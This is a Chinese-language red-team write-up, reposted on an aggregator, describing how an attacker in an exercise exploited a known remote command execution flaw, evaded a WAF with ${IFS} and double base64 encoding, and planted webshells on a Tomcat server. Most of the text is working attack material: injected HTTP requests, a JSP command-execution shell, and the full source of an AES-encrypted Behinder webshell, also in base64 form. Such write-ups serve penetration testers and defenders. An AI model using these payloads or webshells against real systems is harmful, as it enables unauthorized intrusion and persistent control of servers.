一次攻防演练中RCE绕过waf获取webshell

admin 2025-12-22 04:45:35 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 这篇文章详细介绍了在一次攻防演练中如何利用历史RCE漏洞绕过WAF获取webshell的过程。作者通过使用${IFS}代替空格、base64编码绕过>符号过滤、双重base64编码等技术手段,成功绕过了WAF的防护。在遇到webshell长度限制时,先写入回显小马再通过小马写入冰蝎webshell。文章还解决了base64编码中+符号被URL参数解析为空格的问题。这些技术对安全研究人员和渗透测试人员具有实用价值。 综合评分: 91 文章分类: 渗透测试,漏洞分析,WEB安全,红队,应急响应


cover_image

一次攻防演练中RCE绕过waf获取webshell

原创

c0offee

生姜701

2025年12月13日 11:54 安徽

本公众号提供的信息仅限于法律允许的范围内,用户应遵守相关法律法规,不得将本公众号提供的信息用于非法目的。本公众号不对其提供的技术及信息的有效性、准确性、可靠性、完整性和及时性作任何形式的保证‌。本公众号及与公众号相关的所有作者不为此承担任何责任,造成一切后果请自行承担!如有侵权行为烦请告知,我们立即删除并予以诚挚的道歉!

首先历史漏洞RCE

可以执行whoami,ls,执行ls -l失败,发现过滤空格

${IFS}      # 内置变量代替空格  绕过空格过滤

尝试echo文件到web根目录,发现过滤>符号

base64编码执行whoami(d2hvYW1p是whoami的base64编码)

method=trace_route&w=1&ip=127.0.0.1|echo${IFS}d2hvYW1p|base64${IFS}-d|bash;&m=10

双重base64编码绕过>过滤

POST /iam/synRequest.do;.login.jsp HTTP/1.1
Host:
User-Agent: Moziilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 136

method=trace_route&w=1&ip=127.0.0.1|echo${IFS}ZWNobyBNUT09ID4vdXNyL2xvY2FsL3RvbWNhdC93ZWJhcHBzL1JPT1QvMTIuanNw|base64${IFS}-d|bash;&m=10

ZWNobyBNUT09ID4vdXNyL2xvY2FsL3RvbWNhdC93ZWJhcHBzL1JPT1QvMTIuanNw

成功写入文件

对12.jsp进行base64解码

base64${IFS}-d${IFS}/usr/local/tomcat/webapps/ROOT/12.jsp${IFS}>${IFS}/usr/local/tomcat/webapps/ROOT/13.jsp

成功解码

尝试写入webshell,发现存在长度限制

通过写入回显小马绕过长度限制

<%String[]c={"/bin/sh","-c",request.getParameter("c")};Process p=Runtime.getRuntime().exec(c);java.io.InputStream i=p.getInputStream();int d;while((d=i.read())!=-1)out.print((char)d);%>

通过小马写入冰蝎webshell

<%@page&nbsp;import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!
&nbsp;&nbsp;class&nbsp;UextendsClassLoader{
&nbsp; &nbsp; &nbsp;&nbsp;U(ClassLoader c)&nbsp;{
&nbsp; &nbsp; &nbsp;&nbsp;super(c);
&nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp;&nbsp;publicClassg(byte []b)&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;returnsuper.defineClass(b,0,b.length);
&nbsp; &nbsp; &nbsp; }
}%><%
if(request.getMethod().equals("POST")){
&nbsp; &nbsp; &nbsp; &nbsp;Stringk="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
&nbsp; &nbsp; &nbsp; &nbsp;session.putValue("u",k);
&nbsp; &nbsp; &nbsp; &nbsp;Cipherc=Cipher.getInstance("AES");
&nbsp; &nbsp; &nbsp; &nbsp;c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
&nbsp; &nbsp; &nbsp; &nbsp;newU(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}
%>

base64编码写入

GET /o12.jsp?c=echo%20PCVAcGFnZSBpbXBvcnQ9ImphdmEuaW8uKixqYXZheC5jcnlwdG8uKixqYXZheC5jcnlwdG8uc3BlYy4qIiU+PCUhY2xhc3MgVSBleHRlbmRzIENsYXNzTG9hZGVye1UoQ2xhc3NMb2FkZXIgYyl7c3VwZXIoYyk7fXB1YmxpYyBDbGFzcyBnKGJ5dGVbXSBiKXtyZXR1cm4gc3VwZXIuZGVmaW5lQ2xhc3MoYiwwLGIubGVuZ3RoKTt9fSU+PCVTdHJpbmcgaz0iZTQ1ZTMyOWZlYjVkOTI1YiI7aWYocmVxdWVzdC5nZXRNZXRob2QoKS5lcXVhbHMoIlBPU1QiKSl7c2Vzc2lvbi5wdXRWYWx1ZSgidSIsayk7Q2lwaGVyIGM9Q2lwaGVyLmdldEluc3RhbmNlKCJBRVMiKTtjLmluaXQoMixuZXcgU2VjcmV0S2V5U3BlYyhrLmdldEJ5dGVzKCksIkFFUyIpKTtuZXcgVSh0aGlzLmdldENsYXNzKCkuZ2V0Q2xhc3NMb2FkZXIoKSkuZyhjLmRvRmluYWwobmV3IHN1bi5taXNjLkJBU0U2NERlY29kZXIoKS5kZWNvZGVCdWZmZXIocmVxdWVzdC5nZXRSZWFkZXIoKS5yZWFkTGluZSgpKSkpLm5ld0luc3RhbmNlKCkuZXF1YWxzKHBhZ2VDb250ZXh0KTt9ZWxzZSBpZihyZXF1ZXN0LmdldFBhcmFtZXRlcigiZiIpIT1udWxsKXtyZXNwb25zZS5yZXNldCgpO3Jlc3BvbnNlLnNldENvbnRlbnRUeXBlKCJhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iKTtyZXNwb25zZS5zZXRIZWFkZXIoIkNvbnRlbnQtRGlzcG9zaXRpb24iLCJhdHRhY2htZW50O2ZpbGVuYW1lPSIrbmV3IEZpbGUocmVxdWVzdC5nZXRQYXJhbWV0ZXIoImYiKSkuZ2V0TmFtZSgpKTtPdXRwdXRTdHJlYW0gbz1yZXNwb25zZS5nZXRPdXRwdXRTdHJlYW0oKTtJbnB1dFN0cmVhbSBpbj1uZXcgRmlsZUlucHV0U3RyZWFtKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJmIikpO2J5dGVbXWI9bmV3IGJ5dGVbNDA5Nl07aW50IGw7d2hpbGUoKGw9aW4ucmVhZChiKSk+MClvLndyaXRlKGIsMCxsKTtpbi5jbG9zZSgpO28uY2xvc2UoKTt9JT4=%3E%2058.txt HTTP/1.1
Host:
Cookie: JSESSIONID=8AAF43AB1BB6FEF920EAD71A3F3B7F7E
User-Agent: Mozilla/5.0&nbsp;(Windows NT&nbsp;10.0; Win64; x64; rv:144.0) Gecko/20100101&nbsp;Firefox/144.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests:&nbsp;1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: close

解码发现存在乱码

经过检查发现Base64 里出现+时,URL参数会把+当成空格处理,结果服务端收到的就是空格,少了+符号,所以解码为乱码,把+换成%2B即可。

写入的文件成功解码

对webshell进行解密还原

base64%20-d%2056.txt%20%3E%20%2Fusr%2Flocal%2Ftomcat%2Fwebapps%2FROOT%2F66.jsp

成功获取webshell


查看原文:《一次攻防演练中RCE绕过waf获取webshell》

评论:0   参与:  0